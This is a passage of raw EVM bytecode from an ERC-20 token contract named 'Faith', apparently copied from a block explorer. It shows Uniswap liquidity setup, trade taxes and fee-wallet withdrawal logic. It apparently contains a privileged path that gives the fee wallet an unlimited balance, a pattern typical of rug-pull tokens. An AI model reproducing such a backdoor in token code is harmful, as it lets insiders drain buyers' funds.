5b81600181518110611b8257611b81612c09565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611be83060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fab565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c4a959493929190612ced565b5f604051808303815f87803b158015611c61575f80fd5b505af1158015611c73573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cf9573d5f803e3d5ffd5b5050565b5f808284611d0b91906129dc565b905083811015611d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4790612d8f565b60405180910390fd5b8091505092915050565b5f611d6482611e81565b15611d91577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050611dd2565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b5f611e1883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f0565b905092915050565b5f8083118290611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d9190611f49565b60405180910390fd5b505f8385611e749190612b1e565b9050809150509392505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f1b82611ed9565b611f258185611ee3565b9350611f35818560208601611ef3565b611f3e81611f01565b840191505092915050565b5f6020820190508181035f830152611f618184611f11565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f9682611f6d565b9050919050565b611fa681611f8c565b8114611fb0575f80fd5b50565b5f81359050611fc181611f9d565b92915050565b5f819050919050565b611fd981611fc7565b8114611fe3575f80fd5b50565b5f81359050611ff481611fd0565b92915050565b5f80604083850312156120105761200f611f69565b5b5f61201d85828601611fb3565b925050602061202e85828601611fe6565b9150509250929050565b5f8115159050919050565b61204c81612038565b82525050565b5f6020820190506120655f830184612043565b92915050565b61207481611fc7565b82525050565b5f60208201905061208d5f83018461206b565b92915050565b5f805f606084860312156120aa576120a9611f69565b5b5f6120b786828701611fb3565b93505060206120c886828701611fb3565b92505060406120d986828701611fe6565b9150509250925092565b5f60ff82169050919050565b6120f8816120e3565b82525050565b5f6020820190506121115f8301846120ef565b92915050565b5f6020828403121561212c5761212b611f69565b5b5f61213984828501611fb3565b91505092915050565b61214b81611f8c565b82525050565b5f6020820190506121645f830184612142565b92915050565b5f80604083850312156121805761217f611f69565b5b5f61218d85828601611fb3565b925050602061219e85828601611fb3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561222a57808604811115612206576122056121a8565b5b60018516156122155780820291505b8081029050612223856121d5565b94506121ea565b94509492505050565b5f8261224257600190506122fd565b8161224f575f90506122fd565b8160018114612265576002811461226f5761229e565b60019150506122fd565b60ff841115612281576122806121a8565b5b8360020a915084821115612298576122976121a8565b5b506122fd565b5060208310610133831016604e8410600b84101617156122d35782820a9050838111156122ce576122cd6121a8565b5b6122fd565b6122e084848460016121e1565b925090508184048111156122f7576122f66121a8565b5b81810290505b9392505050565b5f61230e82611fc7565b9150612319836120e3565b92506123467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612233565b905092915050565b5f61235882611fc7565b915061236383611fc7565b925082820261237181611fc7565b91508282048414831517612388576123876121a8565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123c3602083611ee3565b91506123ce8261238f565b602082019050919050565b5f6020820190508181035f8301526123f0816123b7565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61242b601783611ee3565b9150612436826123f7565b602082019050919050565b5f6020820190508181035f8301526124588161241f565b9050919050565b5f8151905061246d81611f9d565b92915050565b5f6020828403121561248857612487611f69565b5b5f6124958482850161245f565b91505092915050565b5f6040820190506124b15f830185612142565b6124be6020830184612142565b9392505050565b5f6040820190506124d85f830185612142565b6124e5602083018461206b565b9392505050565b6124f581612038565b81146124ff575f80fd5b50565b5f81519050612510816124ec565b92915050565b5f6020828403121561252b5761252a611f69565b5b5f61253884828501612502565b91505092915050565b5f819050919050565b5f819050919050565b5f61256d61256861256384612541565b61254a565b611fc7565b9050919050565b61257d81612553565b82525050565b5f60c0820190506125965f830189612142565b6125a3602083018861206b565b6125b06040830187612574565b6125bd6060830186612574565b6125ca6080830185612142565b6125d760a083018461206b565b979650505050505050565b5f815190506125f081611fd0565b92915050565b5f805f6060848603121561260d5761260c611f69565b5b5f61261a868287016125e2565b935050602061262b868287016125e2565b925050604061263c868287016125e2565b9150509250925092565b7f4e6f2041555448000000000000000000000000000000000000000000000000005f82015250565b5f61267a600783611ee3565b915061268582612646565b602082019050919050565b5f6020820190508181035f8301526126a78161266e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612708602483611ee3565b9150612713826126ae565b604082019050919050565b5f6020820190508181035f830152612735816126fc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612796602283611ee3565b91506127a18261273c565b604082019050919050565b5f6020820190508181035f8301526127c38161278a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612824602583611ee3565b915061282f826127ca565b604082019050919050565b5f6020820190508181035f83015261285181612818565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6128b2602383611ee3565b91506128bd82612858565b604082019050919050565b5f6020820190508181035f8301526128df816128a6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612940602983611ee3565b915061294b826128e6565b604082019050919050565b5f6020820190508181035f83015261296d81612934565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6129a8601983611ee3565b91506129b382612974565b602082019050919050565b5f6020820190508181035f8301526129d58161299c565b9050919050565b5f6129e682611fc7565b91506129f183611fc7565b9250828201905080821115612a0957612a086121a8565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612a43601a83611ee3565b9150612a4e82612a0f565b602082019050919050565b5f6020820190508181035f830152612a7081612a37565b9050919050565b5f612a8182611fc7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ab357612ab26121a8565b5b600182019050919050565b5f612ac882611fc7565b9150612ad383611fc7565b9250828203905081811115612aeb57612aea6121a8565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b2882611fc7565b9150612b3383611fc7565b925082612b4357612b42612af1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ba8602183611ee3565b9150612bb382612b4e565b604082019050919050565b5f6020820190508181035f830152612bd581612b9c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6881611f8c565b82525050565b5f612c798383612c5f565b60208301905092915050565b5f602082019050919050565b5f612c9b82612c36565b612ca58185612c40565b9350612cb083612c50565b805f5b83811015612ce0578151612cc78882612c6e565b9750612cd283612c85565b925050600181019050612cb3565b5085935050505092915050565b5f60a082019050612d005f83018861206b565b612d0d6020830187612574565b8181036040830152612d1f8186612c91565b9050612d2e6060830185612142565b612d3b608083018461206b565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d79601b83611ee3565b9150612d8482612d45565b602082019050919050565b5f6020820190508181035f830152612da681612d6d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ae3ac1543a6905446db63b397aa6f59323e50b4e8486c20e943b7468d10043464736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c8063715018a611610094578063a9059cbb11610063578063a9059cbb14610333578063baff27131461036f578063bf474bed14610397578063dd62ed3e146103c1578063f54c6b32146103fd57610113565b8063715018a6146102b3578063751039fc146102c95780638da5cb5b146102df57806395d89b411461030957610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d5780635038a7da14610237578063521874b71461024d57806370a082311461027757610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610427565b6040516101389190611f49565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190611ffa565b610464565b6040516101749190612052565b60405180910390f35b348015610188575f80fd5b50610191610481565b60405161019e919061207a565b60405180910390f35b3480156101b2575f80fd5b506101bb610487565b6040516101c8919061207a565b60405180910390f35b3480156101dc575f80fd5b506101f760048036038101906101f29190612093565b6104aa565b6040516102049190612052565b60405180910390f35b348015610218575f80fd5b5061022161057e565b60405161022e91906120fe565b60405180910390f35b348015610242575f80fd5b5061024b610586565b005b348015610258575f80fd5b50610261610aa8565b60405161026e919061207a565b60405180910390f35b348015610282575f80fd5b5061029d60048036038101906102989190612117565b610aae565b6040516102aa919061207a565b60405180910390f35b3480156102be575f80fd5b506102c7610af4565b005b3480156102d4575f80fd5b506102dd610c42565b005b3480156102ea575f80fd5b506102f3610d71565b6040516103009190612151565b60405180910390f35b348015610314575f80fd5b5061031d610d98565b60405161032a9190611f49565b60405180910390f35b34801561033e575f80fd5b5061035960048036038101906103549190611ffa565b610dd5565b6040516103669190612052565b60405180910390f35b34801561037a575f80fd5b5061039560048036038101906103909190612117565b610df2565b005b3480156103a2575f80fd5b506103ab610f16565b6040516103b8919061207a565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e2919061216a565b610f1c565b6040516103f4919061207a565b60405180910390f35b348015610408575f80fd5b50610411610f9e565b60405161041e919061207a565b60405180910390f35b60606040518060400160405280600581526020017f4661697468000000000000000000000000000000000000000000000000000000815250905090565b5f610477610470610fa4565b8484610fab565b6001905092915050565b60115481565b5f6012600a6104969190612304565b633b9aca006104a5919061234e565b905090565b5f6104b684848461116e565b610573846104c2610fa4565b61056e85604051806060016040528060288152602001612dae6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610525610fa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118f09092919063ffffffff16565b610fab565b600190509392505050565b5f6012905090565b61058e610fa4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610611906123d9565b60405180910390fd5b601360149054906101000a900460ff161561066a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066190612441565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610728573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074c9190612473565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f69190612473565b6040518363ffffffff1660e01b815260040161081392919061249e565b6020604051808303815f875af115801561082f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108539190612473565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161092f9291906124c5565b6020604051808303815f875af115801561094b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096f9190612516565b506109b83060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a6109a49190612304565b633b9aca006109b3919061234e565b610fab565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a0030610aae565b5f80610a0a610d71565b426040518863ffffffff1660e01b8152600401610a2c96959493929190612583565b60606040518083038185885af1158015610a48573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a6d91906125f6565b5050506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b600f5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610afc610fa4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f906123d9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c4a610fa4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccd906123d9565b60405180910390fd5b6012600a610ce49190612304565b633b9aca00610cf3919061234e565b600e819055506012600a610d079190612304565b633b9aca00610d16919061234e565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610d4b9190612304565b633b9aca00610d5a919061234e565b604051610d67919061207a565b60405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4641495448000000000000000000000000000000000000000000000000000000815250905090565b5f610de8610de1610fa4565b848461116e565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e32610fa4565b73ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90612690565b60405180910390fd5b610e90610fa4565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610ed2573d5f803e3d5ffd5b508060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600e5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611019576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110109061271e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e906127ac565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611161919061207a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d39061283a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361124a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611241906128c8565b60405180910390fd5b5f811161128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390612956565b60405180910390fd5b5f611295610d71565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561130357506112d3610d71565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116aa576113446064611336600a54600d541161132357600654611327565b6008545b8561195290919063ffffffff16565b6119c990919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113ef575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611442575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114fc57600e5482111561148c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611483906129be565b60405180910390fd5b600f548261149985610aae565b6114a391906129dc565b11156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612a59565b60405180910390fd5b600d5f8154809291906114f690612a77565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561158457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115c8576115c560646115b7600b54600d54116115a4576007546115a8565b6009545b8561195290919063ffffffff16565b6119c990919063ffffffff16565b90505b5f6115d230610aae565b9050601360159054906101000a900460ff1615801561163d575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116555750601360169054906101000a900460ff165b80156116645750600c54600d54115b156116a8576010548111156116915761169061168b8461168684601154611a12565b611a12565b611a2a565b5b5f4790505f81106116a6576116a547611c95565b5b505b505b5f8111156117a9576117028160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cfd90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a0919061207a565b60405180910390a35b6117c4826117b686611d5a565b611dd790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061183261181b8284611dd790919063ffffffff16565b61182485611d5a565b611cfd90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118d58486611dd790919063ffffffff16565b6040516118e2919061207a565b60405180910390a350505050565b5f838311158290611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9190611f49565b60405180910390fd5b505f83856119459190612abe565b9050809150509392505050565b5f808303611962575f90506119c3565b5f828461196f919061234e565b905082848261197e9190612b1e565b146119be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b590612bbe565b60405180910390fd5b809150505b92915050565b5f611a0a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e20565b905092915050565b5f818311611a205782611a22565b815b905092915050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a6157611a60612bdc565b5b604051908082528060200260200182016040528015611a8f5781602001602082028036833780820191505090505b50905030815f81518110611aa657611aa5612c09565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b4a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b6e9190612473565b81600181518110611b8257611b81612c09565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611be83060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fab565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c4a959493929190612ced565b5f604051808303815f87803b158015611c61575f80fd5b505af1158015611c73573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cf9573d5f803e3d5ffd5b5050565b5f808284611d0b91906129dc565b905083811015611d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4790612d8f565b60405180910390fd5b8091505092915050565b5f611d6482611e81565b15611d91577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050611dd2565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b5f611e1883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f0565b905092915050565b5f8083118290611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d9190611f49565b60405180910390fd5b505f8385611e749190612b1e565b9050809150509392505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f1b82611ed9565b611f258185611ee3565b9350611f35818560208601611ef3565b611f3e81611f01565b840191505092915050565b5f6020820190508181035f830152611f618184611f11565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f9682611f6d565b9050919050565b611fa681611f8c565b8114611fb0575f80fd5b50565b5f81359050611fc181611f9d565b92915050565b5f819050919050565b611fd981611fc7565b8114611fe3575f80fd5b50565b5f81359050611ff481611fd0565b92915050565b5f80604083850312156120105761200f611f69565b5b5f61201d85828601611fb3565b925050602061202e85828601611fe6565b9150509250929050565b5f8115159050919050565b61204c81612038565b82525050565b5f6020820190506120655f830184612043565b92915050565b61207481611fc7565b82525050565b5f60208201905061208d5f83018461206b565b92915050565b5f805f606084860312156120aa576120a9611f69565b5b5f6120b786828701611fb3565b93505060206120c886828701611fb3565b92505060406120d986828701611fe6565b9150509250925092565b5f60ff82169050919050565b6120f8816120e3565b82525050565b5f6020820190506121115f8301846120ef565b92915050565b5f6020828403121561212c5761212b611f69565b5b5f61213984828501611fb3565b91505092915050565b61214b81611f8c565b82525050565b5f6020820190506121645f830184612142565b92915050565b5f80604083850312156121805761217f611f69565b5b5f61218d85828601611fb3565b925050602061219e85828601611fb3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561222a57808604811115612206576122056121a8565b5b60018516156122155780820291505b8081029050612223856121d5565b94506121ea565b94509492505050565b5f8261224257600190506122fd565b8161224f575f90506122fd565b8160018114612265576002811461226f5761229e565b60019150506122fd565b60ff841115612281576122806121a8565b5b8360020a915084821115612298576122976121a8565b5b506122fd565b5060208310610133831016604e8410600b84101617156122d35782820a9050838111156122ce576122cd6121a8565b5b6122fd565b6122e084848460016121e1565b925090508184048111156122f7576122f66121a8565b5b81810290505b9392505050565b5f61230e82611fc7565b9150612319836120e3565b92506123467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612233565b905092915050565b5f61235882611fc7565b915061236383611fc7565b925082820261237181611fc7565b91508282048414831517612388576123876121a8565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123c3602083611ee3565b91506123ce8261238f565b602082019050919050565b5f6020820190508181035f8301526123f0816123b7565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61242b601783611ee3565b9150612436826123f7565b602082019050919050565b5f6020820190508181035f8301526124588161241f565b9050919050565b5f8151905061246d81611f9d565b92915050565b5f6020828403121561248857612487611f69565b5b5f6124958482850161245f565b91505092915050565b5f6040820190506124b15f830185612142565b6124be6020830184612142565b9392505050565b5f6040820190506124d85f830185612142565b6124e5602083018461206b565b9392505050565b6124f581612038565b81146124ff575f80fd5b50565b5f81519050612510816124ec565b92915050565b5f6020828403121561252b5761252a611f69565b5b5f61253884828501612502565b91505092915050565b5f819050919050565b5f819050919050565b5f61256d61256861256384612541565b61254a565b611fc7565b9050919050565b61257d81612553565b82525050565b5f60c0820190506125965f830189612142565b6125a3602083018861206b565b6125b06040830187612574565b6125bd6060830186612574565b6125ca6080830185612142565b6125d760a083018461206b565b979650505050505050565b5f815190506125f081611fd0565b92915050565b5f805f6060848603121561260d5761260c611f69565b5b5f61261a868287016125e2565b935050602061262b868287016125e2565b925050604061263c868287016125e2565b9150509250925092565b7f4e6f2041555448000000000000000000000000000000000000000000000000005f82015250565b5f61267a600783611ee3565b915061268582612646565b602082019050919050565b5f6020820190508181035f8301526126a78161266e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612708602483611ee3565b9150612713826126ae565b604082019050919050565b5f6020820190508181035f830152612735816126fc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612796602283611ee3565b91506127a18261273c565b604082019050919050565b5f6020820190508181035f8301526127c38161278a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612824602583611ee3565b915061282f826127ca565b604082019050919050565b5f6020820190508181035f83015261285181612818565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6128b2602383611ee3565b91506128bd82612858565b604082019050919050565b5f6020820190508181035f8301526128df816128a6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612940602983611ee3565b915061294b826128e6565b604082019050919050565b5f6020820190508181035f83015261296d81612934565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6129a8601983611ee3565b91506129b382612974565b602082019050919050565b5f6020820190508181035f8301526129d58161299c565b9050919050565b5f6129e682611fc7565b91506129f183611fc7565b9250828201905080821115612a0957612a086121a8565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612a43601a83611ee3565b9150612a4e82612a0f565b602082019050919050565b5f6020820190508181035f830152612a7081612a37565b9050919050565b5f612a8182611fc7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ab357612ab26121a8565b5b600182019050919050565b5f612ac882611fc7565b9150612ad383611fc7565b9250828203905081811115612aeb57612aea6121a8565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b2882611fc7565b9150612b3383611fc7565b925082612b4357612b42612af1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ba8602183611ee3565b9150612bb382612b4e565b604082019050919050565b5f6020820190508181035f830152612bd581612b9c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6881611f8c565b82525050565b5f612c798383612c5f565b60208301905092915050565b5f60208201905091